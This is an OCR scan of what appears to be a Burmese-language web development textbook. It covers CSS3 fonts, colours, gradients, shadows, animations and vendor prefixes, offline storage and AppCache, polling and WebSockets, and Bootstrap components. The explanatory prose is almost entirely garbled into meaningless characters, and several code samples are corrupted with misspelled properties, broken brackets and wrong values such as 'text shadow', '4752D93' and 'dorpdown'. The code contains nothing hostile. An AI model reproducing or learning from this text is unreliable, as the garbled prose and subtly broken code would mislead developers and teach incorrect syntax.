móssoc qo? oloecoooloooSi Seo səo5:[oloopeo5cbeo Font oq: gedeo: Browser 
m cgJ$ 60502 Embed olé: 0003296:60:000:0) Font Re: (oseyeo:ayo:go [ešoloooŠii CSS 
Font Embed o? səəc9 (10958 Eclo0085 - 


@font-face { 
font-family: MyHelvetica; 
src: local("Helvetica Neue"), url (MgOpenModernaBold.ttf) ; 


} 


@font-face @(03[Goq]050303:(8: @[03[G20005e05qlos051 Embed ds Font 4, 320050 font- 
ri ` e IN | IN IN ` ore ç O 1 IN 

family § o209909e0:qoloooà! src 390205 local () § url () |: Source ¿0q|:60:000:0lo000 1 

local() goo5o5əo5coo:o> Font epa seo?:(9|op0090990Q$es ys Embed c59000:02 Font o? qo» 
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x o > Orn |+ O C ° IN e ;| ç IN > ° 
06$ Oq)e$o2 Font O0OO0:C0O2GOQ@ 25029025000:0000lll local () Q929505905000:02 Font 99509 
url() go 200390360:000:02 Font File o? Browser o» Download coó(8: 39053(0}60:030:90[G60l 
0051 Embed coó coo: [Š:[8Šo> Font o9 a:f qi @font-face dm font-family y nm 
Q9038033260332096:0 s00305093295:(0|qgooli 


T 
font-family: MyHelvetica; 
) 


° IN Sos ` ° € IN 
Sesqoeocops: Browser eogoo Support coóo> Font Format eoooo[oososšocooogloloooSi 3leoeo? 
o ° : Q e C = c o oc C o, 0 

o59eq olog:u Font Squirrel co ogesoocog|:0 Font or690)60:09039¢ Browser 3oq|:q|:o» Support 
09603 Format seq: dj: sos Convert sf: (o§e0:8éa008 eq: qeo? CSS Code 8990020] 
0599lo293:60:$60] 690203051 


Link: http://www.fontsquirrel.com/fontface/generator 
Google Font API o%coo5:səo3: [o ¿colo 1 fonts. google.com eo jeo) Font cozoda 320): (0, $È 


Font o9 eg:qjo(9: <1ink> Element à gjo5soo5eo:c805030ld Font Embed 0960308903 Google 
0 saweg o:a Browser 320:09:3 səsoCc[ocoQ 021§ 60250380508 ec?60020lop: t 


Google Fonts More scripts About Analytics New to Google Fonts? 
626 font families shown Word Sentence ^ Paragraph Poster co y 
Preview Text: Grumpy wizards make toxic brew ~ Size: 28px ~ Sorting: Trending ~ 
Filters: 
All categories 


Grumpy wizards make toxic brew for the evil Queen and Jack. 


» Thickness 


» Slant 


TER Alet, 2 Styles y Hagida HB 
[3 
Script: = I E 

Iu E Grumpy wizards make toxic brew for the evil Queen and Jack. 
Styles: Roboto Slab, 4 Styles by Christian Robertson El D 


Showall styles 


^ 


Grumpy wizards make toxic brew for the evil Queen and Jack. 


Purple Purse, 1 Se y Acre o 


9 (09-2) Google Fonts 
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RGBA Color 
Color Value 320905 CSS2 go Color Name, RGB à Hex Code qp:səo5:[o|ó[oooloooSi RGBA 
026002 32e«66098, Transparency o30loo9$036:90905905$3903205 3905:(4,8603 CSS3 Color Value 
0269[8dclos051 


#dialog { 

background: #555; 

background: rgba(0, 0, 0, 0.6); 
) 


#dialog Element à cšsooésəespéeoo aoq||:oso5eo5coo:oloooSi CSS3 so:əcooSo> Browser cogo 
Hex Code §0005903002:03 3260lo»$e[p256:0 zasao: [vs e: rgba () 0262902320209 
303099905909 año; sacQdec76d coqpopoo:oo[eeoloooSi CSS3 $o:cop5o? Browser eog006002 
rgba() à 9903903 o00:0? 30200000500990 (6$009396q:000:02320903) 39029502(8: saandand 
co:opo:oo[eeoloooSi CSS3 Feature eog 220): (903321 $503:00 səecosəoq|eeoooc: [sëoloooSi CSS3 
asos aps: Q:Q: CSS2 magna Fallback saegg seo»:[Q]eo:opo:cQ Style o9 (o3: 
(03:00:00: ec9905e0eo090lop:! rgba() 390203 oco$Q:eco:əco:goloooŠSi eq95:9006009 rgb O 
320209090 Red, Green à Blue o? 320200 o»$8:eop[s90lo»oóu 6800989:0009006002 Alpha 
Transparency 3202090] ao [8625:0048: so (95 1 Booosgos8éb: $93): 0 [ešoloooŠi 0š1 (000: 


9005905080) Transparency Level o9 3000003§:8 0002296: 200290960:$60loo09 


N 


Border Radius 

Element eozs, Border o? esléa):39602: 3906:6c0: 609 8 c9qi6 qé border-radius CSS3 Property à 

o»o$eo$$6o0loooà: 3994: (2) go CSS ecocoo8egoocopi: $ Property 03 copsagé:s00}:[6 3q:ol 
IN 

om 


#dialog { border-radius: 10px; } 


10px 3200:890003$p Size 02000390360:$ 60loo09 t ealo eco:e31§ Qo3320909 02002098320209 
e < ° 


ç ç Q 9 $28] ç 
NOONE 329Ccp250090DàCO ODOOII 
#dialog { border-radius: 10px 10px 0 0; } 


TopLeft, TopRight, BottomRight, BottomLeft e3lgeco:631Gs90205 99059050803 Size qp:o? 
° IN e. e oc c c occ c ;| IN 
3200600202 Ge: 09:8 320932096:000390360:$ 6(86:(590 OII 
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Linear Gradient 
Element cops, Background Image esepeo Image 3200: CSS3 Gradient Ra: fgos 


Linear Gradient 2003903000 Sc9o] - 


| 
#dialog { background: linear-gradient (top, #469, #247); } 


linear-gradient 20205 scada: [os $: Q)? 200390360:$60looo3i 0006009900 Gradient 
mofe Position [ešoloooŠi top, right, bottom, left ofeg 200390360:$60looo3i 3leeopo? 
Angle Degree (poeo - 45deg, -90deg, 70deg, Odeg) 3968 S cops: 200390360:$60] nn $209 
MENA! mofos seeps 3289:02056«090060:€e0?326s6 02 [ešoloooŠi 


Linear Gradient oo» CSS3 Gradient 6090500328:96:«5:0099 (86 0lo»o5u Color Stop, Radial 
Gradient, Repeating Gradients 00388: Complex (903 Gradient 6020095: q9le22:02o5u 










RGBA Demo background: rgba(142, 68, 173, 0.6); 


Border Radius border-radius: 20px; 


Linear Gradient background: linear-gradient( 
top, #B37EC9, 4752D93); 


9 (02-0) RGBA, Border Radius and Linear Gradient Demo 
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Text Shadow and Box Shadow 
90609320209 Drop Shadow opgi: ceos text-shadow Property oBod:86(8: Element 
0209c9:320505 eo3(peocoq 6 eo»? box-shadow c? o: olos 


p.note { text shadow: 2px 2px 3px 4555; |] 


#dialog { box-shadow: 5px 5px 10px #999; } 


text-shadow § box-shadow Property 49052390205 00§8:03 (ç) 9900590960:q 0100051 29,30: 
adam X Offset eòl: 2090500990» Y Offset [8ŠoloooSi Shadow o0pgqed səogosəco:oo 
2905905 co: [ec:[ešoloooši 000905 0209006002 Blur Radius oli Shadow eoS(po3aoelgo cop2996: 
c0:0? Blur Effect à, Size $ 200590560248 6:0] eg005a5:006902602) Shadow Color (s$0lo»o5u 








box-shadow: 3px 3px 4px #555; 


Linear Gradient 


Linear Gradient text-shadow: 2px 2px lpx #222; 


9 (oo-co) Box Shadow and Text Shadow Demo 
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Animations 
CSS3 eo Animation c966soo6qJo$cops: oloCcoooloooŠir aleja 0264}, sacas Visual Animation 
oo < < ey - 2 ° Q `A Q < < oc c 
$$ 320205925022505& JavaScript 60205:646c960090 lop: CSS $ò 3290? 0003903000: R 90900 
< 
onu 


LOL 
animation: pulse 5s infinite; 


) 


@keyframes pulse ( 
0% { 
background-color: orange; 
) 
100% í 
background-color: red; 
) 
) 


animation Property 0): (8: Select c99000:02 Element 320905 Animation cooo 9005905000:86 

c c IN : : ° Q c c IN c 

(sé: [ešoloooŠi $Q Animation Name o» pulse 089905903000:0100051 pulse 320905 

Definition o? @keyframes pulse à e(o2(£0220590500o:0lo»o5u 0% $0 Animation 390 

Frame a$o33289l0S oli 100% aeo Animation 3059: Frame 3803 səƏolo5[séoloooŠi (02:0590 

ç : : ° Q Ç c coc IN IN 

10$, 20$, 30$ ofeg Animation Frame cog a93209ċ codo ps colors 0% Frame 320905 

o Oo IN ç o IN IN ° " e ° e ç QO IN e 

Background o? cóegoespéoo 9003903000: (8:1 100% 3505905 Background o? səšeçpéeco 2505905 
coo:O]oool 


slefox¢ .note Element 390205 Animation Name o? pulse c92003903090302320203 .note 
M ` ° ç ç e ç o ç M . . o_o e 
Element 4, Background 320699 cocgoespcooes sa$espcop e(026:640) Animation RAAPA 
ç . . IN e ç ^N . . á ç ç 
on animation Property 3202059005905000:09 5s 006002 Animation Duration [ešoloooŠi 
c ç M . . ° oc e ° e co e e e € 
Background aoespée[po6:02 Animation N DA 9 ©92§09(8: 390200906 03703000: (9c: (9001 
00051 omásos:cco! Animation Speed (95e (S9 (8: oQo&qo:cco Animation Speed care (S91 
Q§ 00: p FEV: ogge ation Speed ca:cco|eó 
ç 
O2OII 


infinite 8802200602} Animation Iteration Count dolos infinite c9e(02000:02320505 
Animation o2co9slooósl səcoOcoOco:esoo[eóoloooŠi 3200096] (2) (385 320960906009 Q6 infinite 
o e e oc ;| e z š ` ` e e ç o ` 

3290: 3 Q 2903903000: SCOloD05I1 animation Property ¿3207 02605050590509$0? Value meo 

direction [ešoloooSi Animation 026[036(8:030: 032001 32000 es[p$eo(ó: eg vs (04222: e»c9 
ç o e e ° e : : ° o e e oc jl ç : : 

qc (208 - ego > 32g > eg) Direction 0» alternate ma Q02: oln Direction 
° e e e ` e ` e e 1 ç 

0? alternate 0209909e000:q66009 adoi: səeoocso (0$060: esəo[eeoloooSi p00 - 
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-note { 
animation: pulse 5s infinite alternate; 
/* name=pulse, duration=5s, iteration=infinite, direction=alternate */ 


} 


@keyframes pulse { 
° Í 


background-color: yellow; 


} 
50$ ( 
background-color: orange; 

) 

100% { 

background-color: red; 
} 
} 


Vendor Prefixes 
CSS @,09:(80:q)0500 Feature 320:05:029905:(8:9 W3C Recommendation səcsš @[03{G20220U7050l 
oy» Feature ord900 eaygSecoomosaaaogespasgé 3330099020 W3C Recommendation ao(só 
0003903609 fol ooeo - rgba () esp border-radius o] CSS3 à saB05a0GE:602(88[a3e0005 
rgba () o? AE W3C Recommendation 393080003903000:(0: border-radius 0026002 
: : e XQ IN coc IN X ` co o E o 
Candidate Recommendation 98069009 01600:00051 o»90q|$0099:900 CSS4 e 0098|325005320C: 
60202 Working Draft 30206 espo$cooes o [Oi 


2300: (a: ela Browser ego CSS3 c9e(00e$e0eo9sedj, W3C Recommendation s220 
Feature 60203092 se[0p$3eo Support ô|: aaa, Candidate Recommendation à Working Draft 
39508 602026009 Support c96c96«625:0lop: t 


Sleoeoó Browser cozm Feature 320:09:09 W3C Recommendation aao fedezze 049 01093 t 

ao(go: $0:05032s06 Feature cops: (BjooEcopSaé: eo:ooo:(o2ecoqolo»oóu S$c9o0p9996:000: 

^ Q q ç ° 2 o € c oc < < ^ 

O9 06:050 3 CSS Feature 602093299:(9|c9q6 maca. Browser 052505905000:02 Vendor 

Prefix Sealo3 eq:o9:05$q|:& esk:oso:soo5:[o|eo:qoloooSi pos linear-gradient () c96esooó 
c o A - k q S.S ° ` . € S. | 

qna? Mozilla Firefox gosaqpoapoeaagjcge eqmes -moz- apo) Prefix copjagc:eq:000:60:4 0 
€ 

020ÀII 


background: -moz-linear-gradient(top, #fff, #ddd); 


o o * ` oc : : EN e e e 
3069]: 000:60:6020 Firefox 21 $ eq 9c: Browser GO292 Linear Gradient CoOesooca|o5oosəocoÓ 

e c c . : c ° ` . oo Cy M iN 
coógo(s$olooo3u -moz- Prefix ooo Mozilla o50505905000:0? Prefix à 3805:46€1:020:000:02050 


csoocajo5 6030 Mozilla š Mozilla e, Browser Engine ($003 Gecko Rendering Engine 0225:000: 
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o? Browser qp:oo 90032099 a goli Mozilla Engine 25:6000:0? ao(go: Browser qp: 903209909090 
eo»o30lop: v 390002096 809063000 Google Chrome Version 3260006:609 qgoaacoOcoÓcoqie 
QÊ ego» -webkit- Prefix oop?eo:qolooo3i 


background: -webkit-linear-gradient(top, #fff, #ddd); 


Google Chrome oo» weco Webkit Rendering Engine o305:000:03300303 eq006$ -webkit- 
Prefix cop2ooC: eo: (96: [ešoloooši $c9:9p9:30090: 0009996:6q220:000: q6 ao (go: Webkit Engine 
R:n: o> Browser eop(s$(o20? Apple Safari, Android Browser à iOS Browser o99ocogs: 

c c c jl IN x c c c . ° ° J 
səcoOcoooeo[eŠ olo»o3i Internet Explorer e, o9:000 Feature 603390203 -ms- Prefix o 3905:(0|0 
ovos slefoxg 0294] 06:22032s06 CSS3 Feature 603203 3905:(00$00051 Browser 320109:9032090 
ÓN: Gooqpeo Amas 329 096q:220:$ec9Q0lo»09 11 


#dialog { 
background: linear-gradient (top, #fff, #ddd); 
background: -webkit-linear-gradient (top, #fff, #ddd); 
background: -moz-linear-gradient (top, #fff, #ddd); 
background: -ms-linear-gradient (top, #fff, #ddd); 

} 


ç c o IN 


co96s006qj030099 q8320209 (g) [seq qo32»eco»(s90lo»o5u səco[so:ooóəoo Official CSS3 


^) 


Support qo Browser qp:oo a2c96096eoQ[s90lo» ou O3|$32s06 qp: 026002 Browser 60209 9302 
$o:cop30) 86:03 eg:qjoSsecSa96030:0le88e05 Jompo: cogeo Ignore co92go:go[só 


cloos 3sp5:š 06:006 Feature 0205 Browser 3aqp:ogo 32090050990:63206 ega: 20): o Rg 
Ô 


o 


o 


[ešoloooŠi 936220000 eoqjcoeoeo? $505:30 CSS3 coóesoocajo5 səqp:sə[oo:o2 Website 32qp: 
so [oo:oo coo5Seosoob:ajcoo: [aula 


Le) 


EN < : ° : ç ë è ° ç 
qo5qjoó u u Google Chrome, Chromium à Opera Browser 02029 Blink səeə5g Rendering Engine o> efo: 


° ° ° co e o s d. : " 
soos: (ojes (81 Vendor Prefix ¢o202 Developer 6020) 320909698: o»ooooeoqop Blink Engine o» Vendor 
"n o ° c o o ;l ç ;] ç coc e G Ç Is $ ° ç 
Prefix cosa): [D|eoeoocooq: co aola sle 640029€:90 oS ndaej como: Vendor 
L L 4 L IL É L y L 1 L Oo L 


Prefix cor cooSospecoo səo>:[o Eak olosi 
ó 2 sp É i là eal 
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CSS3 Selector 
CSS3 go Selector saeorsqp:ap:c095: [sg oloi 3330500 c0036093025:06605 
Selector 003, eg:aJoSeeo[oco:coosoloooŠi 


img[src$=png] - Attribute Selector 320905 $= Operator [8e5oosoloccoo[e 6: [8ëcloooSi "39903 
Cn O x ° )| e e ;| <ç : e ` ° e M š 
9005" 09369 od{gdo oo src Attribute 320305 Value 9o png §398):0003000:03 <img> 


Element qp:o? Select coócooo[ec:[ešoloooSi 


img [src^-blue] - Attribute Selector 390305 A= Operator [ee5eosoloccoo[e c: (ssolor 1 "Soo" 
s9o3a»8oloS(s90looo9i src Attribute səogo5 Value eo blue à 390{G|002:03 <img> Element qp: 
Select ase: folos 


img[src*=bird] - Attribute Selector 320209 *= Operator [ee5əosoloccoo[e S: (gSolos05 "oloé 
oe" ¿nelson src Attribute 390305 Value eo bird olo6o «img» Element qp:o? 


Select coócooo[ec:[ešoloooši 


p:empty - :empty Pseudo-Class o» Content eoloéo? Element 32090560909 Select 0968 00) :(0| 
oc ç ° x ° e e ç 
86 olosi 3990300 Content e$jo? <p> Element qp:o? Select coGoəoo:eo[eëcloooi 


p:not(.note) - :not Pseudo-class (gSolos05u $@§030q Class note c$9200390$00o:(86:e$10? <p> 
Element qp: R og:ajoŠ Select coócooo[ec:[eëoloooši 


ul < p - Sibling selector coes[oloooŠ!I Parent 0202 08/28 qp:o? eg:qjo560:29:900lu 29009/ 
32006026002 eololop:u poe? - Document Structure oo 3990090205801 


<p>. uc </p> 
<ul> .. </ul> 
<p> .. </p> 
Xp» . </p> 


«p» Element (2) goloéeveo$ ul ~ p Selector o» <ul> Element š G32203906q:000:0) <p> 
Element 49030 Selector coÓco:oəo:eo[eócloooi 3260020599 eolo&olop: u 


:nth-child, :target oojaa: 90306:00:060026:0) Pesudo-Class 6020095:§oleo0:02051 al 

coeoS Selector 3200060500 Property cog! Value cod Fallback qp:46q:220:9eco030lop: v 3] 
e > ° ° c e ° ° ° 

e(o206 Property š Value cogo cBespo63o063299:q((8: Selector cogeo Browser Support 

cO 329 coos Gené: aneas eogi: goln 
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13.9 - Offline Features 

Web App 0299900lo60? Resources cog Data eogooo efes: fos Web Server oo 286: 8095: 
ooo:(sé:(s9(9: a:f oas Client oo Server meş Request coó Š: coxoC:ëqo[o3qoloooŠi 3 
co App o Server 029968 Ý 326000809 323009329905e8$6 0R|$ 600302 App ooo 2209 99:0q6022 
o> 32«p0289[59290: 9o0li 


o ` ° . . x` oc e oc Co c coc 
324], Data cR Resource coo! Client-Side ga(en: 056:80p9:000:$Ce05sDe|C! o»05&Coog| 
Client-Side q0936:000:02 32qjo932coo3qp: aoo 3209909 O8: e[69e6$ c932092»5 Server SMAN 


dee Performance 06:90 30qp:(p3:960096:250:90 (gdolos05 c932002 Resource copà 
329[0932c00360200 Client-side gps: es) 3260204 0980099909 6000: $$ q0cop3: 32d] eoo 
coÓesoocajoocoo DANA 3905:(0/6§863:¢0[gd0los051 
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var data = JSON.parse( localStorage.getItem("data") ); 


JSON. parse() Function e, 320932098 Serialize coÓcoo:o String o? Object (893226 [pš e[ooc: coo 
9620 [odolo 8$05:09 0205602,3229:qp:0? $95006:0269 [olos 


§2030058030600:8e0206:03 Client-side Storage Feature 0299006009 IndexedDB [ešoloooŠi 


° 


qjo$ agp: Record qp:à o98:soo5:8Co> Database 0r6qj:(9d0lo205 eppo cop? 
IN IN 
é: é 


9 


emo I IN IN ç uS ; ç 
ecoo[oà GOYDOS) Il SOOO2COOOSGCOCOO (majo o ODO II 


of 


Offline App 
3296$00906:90 Web App 6023,30800c996s026qjo960200 Client-side 200508 eapo gonezas: eq 
06:90 eoS(p3oloo»o5u $8 Client-side @2398 0032050090640) Web App 0205 326000509 


səsooosəooo5ego Offline (836s4]$ 92 so5:(0|866322696000:$60? Feature ooóəcoo5: HTMLS eo 
oloéol ooo! AppCache ceesl'olo»o3u 


Offline (8965 4$ 92220990908 68320209 096:003:000:902 Resource 029 6:08 Cache Manifest Ss 
o» File odd] 99005:60:000: go($$0lo»o5i Resource 80701 HTML Document cog! CSS File 
cog! JavaScript File coo! Image cog Script File 60303 [ë [Š:eə[cooooooli 33 File o? Web 
Document coo mes 329 09803800360: ¿colon 


Professional Web Developer - səəŠ: (02) HTMLS5 Overview SS J 





<!doctype html> 
<html manifest="/cache.manifest"> 
<body> 


</body> 
</html> 


<html> Element go manifest Attribute š cache.manifest c93269360:000:02 File R$: 


qjo? so03e0:ooo:(s6:(s90lo» ou cache.manifest File DIE: qeo? $6006022 Saol - 


CACHE MANIFEST 


FALLBACK: 
/ /offline.html 


NETWORK: 
* 


CACHE: 
style ss 
/app.js 
/logo.png 


ZJ 








scola: CACHE MANIFEST @03{G0q]0502602 s»[80»8:0lo$qeo oooSeošajo[eëoloooSi 2» 
639005 qo Section (Q) golo&olo»ou FALLBACK: Section 63220390 Resource 006903 ecoo[ošcco 


Error (86033081 səeo:c0:eeo[ococoo> Document 2205905000:$60lo»o5u 
$RP 6q:020:000:0) - 


/ /offline.html 


-À səƏgloÉool! 9905905000103 Resource Reass[G8Egé offline.html o? 3900:03:603(60:0188 
Q 
o 


> ° enc IN Ao “ " < ° ° C( ^oc * "nO x o € 
OD 320 )loS[eëoloooSi eg, 0 / Sign on "0005 Resource eR ochos odas] ¿oido 





NETWORK: Section 63220390 3260008 03$|922032090 090600902 Resource 90q6:60:q90li $0000 

eo: coo:o> * Sign $3289lo502602 "3260204 0939800193909 e 96 Resource 3902032390205 396 
€ e, (Q c Sq" O x ° € c < 

0208 0299: (8:6022220 320960900] og los [ešoloooŠi 





CACHE: Section e3200990e002 086:a095:c00:600803 Resource oq: oo$:@co:coo:8ColoooŠ!I 





I 


Web Browser œ Manifest File o9q9(8:0»oà Š CACHE: Section 92250390$000:0? Resource 60208 
e e 


ordafaé: Download 096028: Offline aoo»: fo 663206 0026296:8099:990:900li 


Professional Web Developer - səəŠ: (02) HTML5 Overview çço 





ce u ¡fest asSoSso0$cox03 Doc t 0,8, ç PS SSE: 
ço2a|oo ll cacne.manites OPQ]O28002009: 02 ocument Meon WG: OR: 8902008 C 0090 INAO O3|O0 
S 


° K ç ec Oo x o oc oc ° e c c S.0O_ xs . 

Sépo:$ OQ} co»? o? App 8, 3d q||,32D 02329C:6090? 3930029 193980 1399200 04)02 Offline səc[esocs 
e ° e 
C H 


` IN c gig O S 9 Q XS ; IN 
YO 20000 SƏC0OC0 OG$ C G320C 0900» &6eoo[90 OD00 II 


13.10 - Real-Time Web Apps 
3994: (o) y HTTP sac(ax2E:605{G80502 HTTP ooo s0050305g006908 Client mo afo qà 
Pull Technology 0064}:(gde[0326:605{G30losu5 bof: Web App 0269390205 slur (02220 
e IN : o ` e c ^ CLAN > IN 
emocoem Real-Time App eslo) 329/M390003602 aade: de$} Web App 60932090? 
ç IN c IN e e o 0 ` IN ° 30 : 
32M 3000) [eŠcoocooloooŠi 200 - 3a[(0§s007§ Message ¿990 Chat App oo Client A 
o O Ç x ° c c IN > : ° o ° 
¿omo Message oo Server oespooooo:oo[ee 60603! HTTP 8,osoooosəq Client B s00) za) 
epa qjo3(86:6«p03292: 9o 80705019931 Client B œ Server cómes 800130205 0960979999 
Client A 60:8000:03 Message Neog (86 qe»(s$olo»o5u ¿con Client A 8c80503 Message oo Client 
B DR g|03(9E:eeepa503a00205 Real-Time e(8925:c9s9$60lo»oóu Real-Time (89859 «6 30030305 
° : IN o e IN IN o c oco 
qo? Client 0»qjo3:32o[o|es c9eq60090lop: v Server Map: 3aq[0232c002602909 Push cooóco:$cQ 
oSsadcos0lo0051 


Facebook, Google+, Twitter, Gmail oo? App 607300 Real-Time Data Ascaso: zasa eso 
ooooli pues - Gmail go Mail ordearéoEaorgé qhe: qol Real-Time [sðnSs Rol 
IN ç ç o e > ° So c c ° > ee : c 
en Facebook eo 09/$600502056000:02 902969032090» Comment coó%əggoooš Notification ajo 
(S6:o203(8: qio?(86:23qolooo5u Real-Time a2c96c96es[s6:(90loooó v HTTP o» Pull Technology 
c IN IN ° ° x C @ O : c e <_00 : 
NARDI (8: Server Push egošsəooo> 30) Real-Time cpoesoocgjndg gg Ajax aef] 


fa: as: add 02660» [2:n 


S c IN IN ere ° IN e ors c 
0000§95:006:026022 Interval 02890099090: Server có Request coo səsoooe[oc5eo:o[e c: (esol 
€ e crog ° ee S_o ° e e 
on PED - (S) oA Server có Request (910998: coma: Update oo cons: opes: 
e ° x ° ~ oO e e CN c € 
səo: [96 Server qoq0? Update o? so (aq Qs cad csooC go302o2eooo[s$0lo»o5i 


setInterval(function() { 
S.get('get-data.php', function() Í 
// update data 
)); 
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[ Client ] 


function pollStart () { 
S.get("chat.php', function (msg) 4 
$("£chat-box").append (msg.text); 
pollStart(); 
jS em, 
}; 


pollStart(); 
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[ Server ] 


Stime = time(); 
while((time() - $time) < 30) { 
$data = get update(); 
if(Sdata) { 
echo Sdata; 
break; 
} 
usleep (500000); 
} 


echo ""; 
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[ WebSockets Client in JavaScript ] 





var connection = new WebSocket ('ws://127.0.0.1:8000/'); 
connection.onmessage = function (res) { 

$("#chat-box") .append( res.data ); 
y; 


STk end ela (sum tion 
connection.send( chatMsg ); 
D; 
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[ Socket Server in Node.JS ] 


var WebSocketServer - require('websocket').server; 
var http = require('http'); 





var server = http.createServer(function(request, response) ( )); 
server.listen(8000, function() { )); 





wsServer = new WebSocketServer ({ 
httpServer: server 
jara 





var clients - []; 
wsServer.on('request', function(req) { 
var conn= req.accept(null, req.origin); 
clients.push (conn); 
conn.on('message', function(msg) { 
for (var i=0; i < clients.length; i++) { 
clients [i] .sendUTF(msg.utf8Data) ; 
} 
DET 
)); 
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14.1 - Twitter Bootstrap - CSS Framework 
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a) (05-9) Twitter Bootstrap - Grid 
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Columns Layout 026998390205 HTML Structure o? 39908 000390360: solo 


<div class="container"> 
<div class="row"> 
<div class="col-md-12"></div> 
</div> 
<div class="row"> 
<div class="col-md-4"></div> 
<div class="col-md-8"></div> 
</div> 
<div class="row"> 
<div class="col-md-12"></div> 
</ can 
</div> 
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<div class="container"> 
<div class="row"> 
<div class="col-md-12 col-sm-12 col-xs-12"></div> 
Bey clan 
<div class="row"> 
<div class="col-md-4 col-sm-6 col-xs-12"></div> 
<div class="col-md-8 col-sm-6 col-xs-12"></div> 
</div> 
<div class="row"> 
<div class="col-md-12 col-sm-12 col-xs-12"></div> 
</div> 
e icity 
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Bootstrap Basic Styles 

e c e IN e e IN c IN IN IN IN 
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<table class="table"> 
< r 
n/a 
<thi 4 </A> 
</tr> 
<tr> 
<td> . </td> 
Sudan q> 
SM 
</table> 


Aes 9409023006009 səəco[eeoloooŠi 


= First Name Last Name Username 
1 Mark Otto @mdo 

2 Jacob Thornton @fat 

3 Larry the Bird @twitter 
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<table class="table table-striped table-bordered"> 
<tr> 
— h ce a 
<ih (T 
— 
<tr> 
<td> a Ed 
<td> eed 
Sis 
</table> 
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Input, Select, Textarea oo? Form Element cooo Bootstrap Style š coes|ococos]e cooo .form- 


control o? 990590560:4 0100051 səoooŠe] Input Element 0209 o? Label Element &o3o09eo5(0e0 
c2 eons) . form-group Element 05998 Q99003:6€:220:0lqolo»o5u Qoeo - 


<div class="form-group"> 

<label for="email">Email address</label> 

<input type="email" class="form-control" id="email"> 
</div> 
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ç e ° ` ° co . e ore co 
6300200609: (a: Element coo mo, Screen Size coge oeo e: OA], Screen 
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92 [edol sacoo:op Class coz[gdo3 .hidden-sm, .hidden-md à .hidden-1g ascops: 


c93202009 aeos: fosos 


elgoc :[0§s00:(6¢ Element 029909 ors Screen Size CR ecoo[ococooi Extra Small Device cg 
ç o C š ä ° ° oc ç e o c ç oc C o 
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Small Device Q202 eoS(o(8: oq|Š Screen Size opine) 6«[203000:60:9o(s$ 0lo»o5i Səcoo:oo 

Responsive Style Class cooo 6320050le020:90 eqan olosi 


Extra small devices Small devices Medium devices Large devices 
.visible-xs-* Visible 
.visible-sm-* Visible 
.visible-md-* Visible 
.visible-lg-* Visible 
.hidden-xs Visible Visible Visible 
.hidden-sm Visible Visible Visible 
.hidden-md Visible Visible Visible 
.hidden-lg Visible Visible Visible 
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Bootstrap Components 

Bootstrap Component eo2ceo see[9$3203/99:006009 Icon [gdclos05u Icon coosoo5:[o|@səooo5 

28:(s0: Image COOP: CHOPE Bootstrap šsəoqoloCcoooy Icon cooo 2009: [o ¿colors 
e ° IN e e o c o e coc ç 

goeo - Button ooóəço Add Icon oocopooac:eeo[oeocoq 329% 9905903860los051 


<button elass- "bto pen- deraulti> 
<span class="glyphicon glyphicon-plus-sign"></span> Add User 
</button> 


© Add User 


Icon cop$256:8320903 <span> Element o? 9905:(0/(8: . gl yphicon Class ¿3207 030053005:{6108 
oò Icon Type o? 0300360: golos $9409» .glyphicon-plus-sign o? aoo»: (9/000:03320305 





qig Plus ooeo5oo Icon oloCcoooooooeooqeo[eóoloooi getbootstrap.com/components ço Icon 
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Component 030390 sae9:0lo3 coóesooCajoóooŠəoocooso Drop-down Menu [eëcloooSi Bootstrap 
ç oo o oc IN 
Style Drop-down Menu 00099928 32909? 69:222: $è olo»oóu 


«div class="dropdown"> 
<button class="btn btn-default" data-toggle="dropdown"> 
Dropdown <span class="caret"></span> 
</button> 
<ul class="dropdown-menu"> 
<li> see </li> 
i lie 
sulle 
</div> 


Dropdown = 


Action 
Another action 


Something else here 


Separated link 


Drop-down Trigger coÓco:eo Link (9960903) Button 02998 .dorpdown-menu Class səoà: [o| 

coo:o> «ul» Element Ro? Element ooéəsəogC:@o 3»05009050009996:60:e(8: Trigger Link 

(9960905) Button go data-toggle Attribute à dorpdown coc[oocoooo5š Bootstrap Style Drop- 

down Menu 026903 q9&ceoo[eóoloooŠi «1i» Element cod Divider (o»&cos[s03c96:) a»(s9 
° o x á i ° ° oc e e e ° e 

a:f Element go .divider o9 səo5:[b|8ColoooSi oo$aqjo$o»o9(o|oo$000006009! Drop- 

down Menu zeavlsa0é Bootstrap š 32d c996s006q[0360200 jQuery səoà: [o| cg):o5o:coo: [e 6: [sóc 


390305 jQuery ole ascoócoóeo(s$0lo»ou 
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@g2030053905:06 05 Component meo Navigation Menu Bar oli 32909 cop2o2é 286 olo»o$u 


«nav class="navbar navbar-default"> 
<div class="container-fluid"> 
<div class="navbar-header"> 
«a class="navbar-brand" href="#">Brand</a> 
</div> 


<ul class="nav navbar-nav"> 
<li class="active"><a href="#">Link</a></li> 
<li><a href="#">SLink</a></ili> 

xe mu: 


«/div» 
«/nav» 


Brand Link Link 


Navigation Bar 390305 .navbar .navbar-default Class orales: Menu Item 609320503 
.nav .navbar-nav Class Lond NUNC. «ul» Element 029909 3299: Lles: [ešoloooŠi 
bagos aeg Brand Name o? Menu Bar cogo cop9996: :603(0e0c803a001 .navbar-header 
Element oóo» .navbar-brand Element 3 opor: ¿colon Menu Item co90900 coms} 
ç ç Ji c ° x` i ° c c oc 1 ç 
eg:qjo5o0o:e[p206: col ogEeoc$o3 Item go . active Class 03 250990960:$60lo»ou 


Drop-down Menu cog Button Cronk) Form Element coga ps: aaas q Navbar coo 030030099996: 
° oc ° c iN ç Q « ° ° ç i ° M ç ° 
so gto! g5ooooSooOooeo[ococoo Menu $Q: .pull-right Class o» o30033eo»:(9| 
&6 oloasi aleo[yé Navbar o2šesoeo[ocoo:osc9 Light Color à euz055 Dark Color à esS(9esc9qc 

.navbar-inverse o? .navbar-default 3200: 3902:09:320): f RoS 


saeqneco:6028603(903 Tag Label eopseo»(Qpo9«ó .label Class ¿3907 .label-success, 
.label-info, .label-warning, .label-danger ofeg 030033925: (9|86 olo» o5 





<span class-"label label-default">Default</span> 
<span class="label label-primary">Primary</span> 
<span class="label label-success">Success</span> 
<span class="label label-info">Info</span> 

<span class="label label-warning">Warning</span> 
<span class="label label-danger">Danger</span> 
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¿Go 





Menu Item (9960903) soso: Fedor peog Item Count Notification o? 03003eo(08320205 
Badge o? aeos: foou 


<a href="#">Inbox «span class="badge">42</span></a> 


Inbox 3 


Error Message (9960903) 32c00:09 Information 602603(0$39090503 sayo éC oloooSi 


<div class="alert alert-success">...</div> 
Well done! You successfully read this important alert message. 


.alert-success 3290» .alert-info, .alert-warning, .alert-danger 002 Class o? 
